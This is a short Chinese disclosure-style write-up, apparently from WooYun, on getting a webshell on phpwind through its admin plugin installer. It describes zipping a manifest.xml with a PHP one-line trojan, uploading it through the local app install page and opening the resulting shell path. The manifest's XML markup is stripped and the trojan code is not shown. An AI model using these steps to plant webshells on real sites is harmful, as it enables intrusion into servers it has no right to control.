phpwind后台getshell

  • 发表于
  • 周边

后台上传插件处,可以上传一个包含php木马的phpwind标准格式插件安装包,并可getshell.

1.先制作一个安装包,需要包含一个manifest.xml文件和一个php一句话(此处文件名为php.php)。
manifest.xml如下:




getshell
getshell
1.0
1.0
app
getshell

gbk
http://wooyun.org
123@wooyun
root@wooyun.org
http://wooyun.org

res

将以上文件打包成zip格式。
2.在后台 云平台-》应用管理-》本地安装处上传制作好的安装包,并点击安装。

3.shell为http://127.0.0.1/phpwind/src/extensions/getshell/php.php